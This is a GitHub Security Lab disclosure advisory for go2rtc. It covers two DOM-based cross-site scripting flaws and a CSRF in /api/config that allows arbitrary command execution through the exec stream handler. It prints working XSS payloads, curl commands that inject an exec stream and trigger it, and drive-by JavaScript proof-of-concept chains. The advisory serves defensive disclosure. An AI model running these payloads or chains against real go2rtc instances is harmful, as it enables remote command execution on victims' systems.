Coordinated Disclosure Timeline
Summary
Go2rtc is susceptible to a cross-site scripting (XSS) vulnerability and an arbitrary command execution vulnerability due to the lack of user-input sanitization.
Project
go2rtc
Tested Version
Details
Issue 1: DOM-based cross-site scripting in links.html
(GHSL-2023-205
)
The links page (links.html
) appends the src
GET parameter ([0]
) in all of its links for 1-click previews.
<!-- https://github.com/alexxit/go2rtc/blob/c8ac6b22713205f6d86c2a10cfb03a6ce5000c69/www/links.html#L46 -->
<script>
const src = new URLSearchParams(location.search).get('src'); // [0]
document.getElementById('links').innerHTML = ` // [1]
<h2>Any codec in source</h2>
<li><a href="stream.html?src=${src}">stream.html</a> with auto-select mode / browsers: all / codecs: H264, H265*, MJPEG, JPEG, AAC, PCMU, PCMA, OPUS</li>
<li><a href="api/streams?src=${src}">info.json</a> page with active connections</li>
`;
</script>
The context in which src
is being appended is innerHTML
([1]
), which will insert the text as HTML.
This vulnerability was found using CodeQL’s Client-side cross-site scripting query.
Impact
This issue may lead to DOM-based Cross-site scripting
.
Proof of Concept
Payload: foo">foo</a></li><img src=x onerror=alert(document.location)><!--
- Visit the following URL
http://go2rtc/links.html?src=foo%22%3Efoo%3C/a%3E%3C/li%3E%3Cimg%20src=x%20onerror=alert(document.location)%3E%3C!--
- Notice an alert pop-up
Issue 2: Cross-site scripting in index.html
(GHSL-2023-207
)
The index page (index.html
) shows the available streams by fetching the API ([0]
) in the client side.
<script>
// ...
function reload() {
const url = new URL('api/streams', location.href);
fetch(url, {cache: 'no-cache'}).then(r => r.json()).then(data => { // [0]
tbody.innerHTML = '';
for (const [name, value] of Object.entries(data)) { // [1]
// ...
const tr = document.createElement('tr');
tr.dataset['id'] = name;
tr.innerHTML =
`<td><label><input type="checkbox" name="${name}">${name}</label></td>` + // [2]
`<td><a href="api/streams?src=${src}">${online} / info</a></td>` +
`<td>${links}</td>`;
tbody.appendChild(tr);
}
});
}
// ...
reload();
</script>
Then, uses Object.entries
to iterate over the result ([1]
) whose first item (name
) gets appended using innerHTML
([2]
).
Impact
This issue may lead to DOM-based Cross-site scripting
.
Proof of Concept
Payload: foo"><img+src="x"+onerror=alert(document.location)><!--
- Create custom stream
curl -X PUT '127.0.0.1:1984/api/streams?src=foo&name=aaa"><img+src="x"+onerror=alert(document.location)><!--'
Drive-by proof of concept
In order to exploit this vulnerability in a drive-by fashion, set up a server hosting the following snippet:
const poc = async () => {
await fetch('/api/streams?src=foo&name=aaa"><img+src="x"+onerror=alert(document.location)><!--', {
method: 'PUT',
});
document.location = '/';
}
poc();
In the event of a victim visiting the server in question, their browser will execute the request (see Proof of Concept
) against the go2rtc instance. After the request, the browser will be redirected to go2rtc, in which the XSS would be executed in the context of go2rtc’s origin. Learn more about drive-by vulnerabilities in this post.
Issue 3: Cross-site Request Forgery in /api/config
(GHSL-2023-206
)
The /api/config
endpoint allows to modify the existing configuration with user-supplied values. While the API is only allowing localhost to interact without authentication, an attacker may be able to achieve that depending on how go2rtc is set up on the upstream application, and given that this endpoint is not protected against CSRF, it allows requests from any origin (e.g. a “drive-by” attack) .
The exec
handler allows for any stream to execute arbitrary commands.
func Init() {
// ...
streams.HandleFunc("exec", execHandle)
}
func execHandle(url string) (core.Producer, error) {
args := shell.QuoteSplit(url[5:]) // remove `exec:`
// ...
cmd := exec.Command(args[0], args[1:]...)
// ...
return handleRTSP(url, path, cmd)
}
func handleRTSP(url, path string, cmd *exec.Cmd) (core.Producer, error) {
// ...
if err := cmd.Start(); err != nil {
log.Error().Err(err).Str("url", url).Msg("[exec]")
return nil, err
}
// ...
}
An attacker may add a custom stream like the following through /api/config
:
streams:
foo: exec:touch /tmp/pwned
Impact
This issue may lead to Arbitrary Command Execution
Proof of Concept
- Patch the configuration to add the malicious stream
curl -X PATCH '127.0.0.1:1984/api/config' -d "streams: foo: exec:touch /tmp/pwned"
- Restart go2rtc to refresh the streams
curl -X POST '127.0.0.1:1984/api/exit?code=100'
- Request the stream for the command to be executed
curl '127.0.0.1:1984/api/frame.jpeg?src=foo'
Drive-by proof of concept
In order to exploit this vulnerability in a drive-by fashion, set up a server hosting the following snippet:
const poc = async () => {
let new_stream = `streams:
foo: exec:touch /tmp/pwned`
await fetch('/api/config', {
method: 'PATCH',
body: new_stream,
});
await fetch('/api/exit?code=100', {
method: 'POST'
})
await new Promise(r => setTimeout(r, 10000));
await fetch('/api/frame.jpeg?src=foo')
}
poc();
In the event of a victim visiting the server in question, their browser will execute the requests (see Proof of Concept
) against the go2rtc instance. Learn more about drive-by vulnerabilities in this post.
CVE
- CVE-2024-29191
- CVE-2024-29192
- CVE-2024-29193
Credit
These issues were discovered and reported by GHSL team members @jorgectf (Jorge Rosillo) and @maclarel (Logan MacLaren).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-205
, GHSL-2023-206
or GHSL-2023-206
in any communication regarding these issues.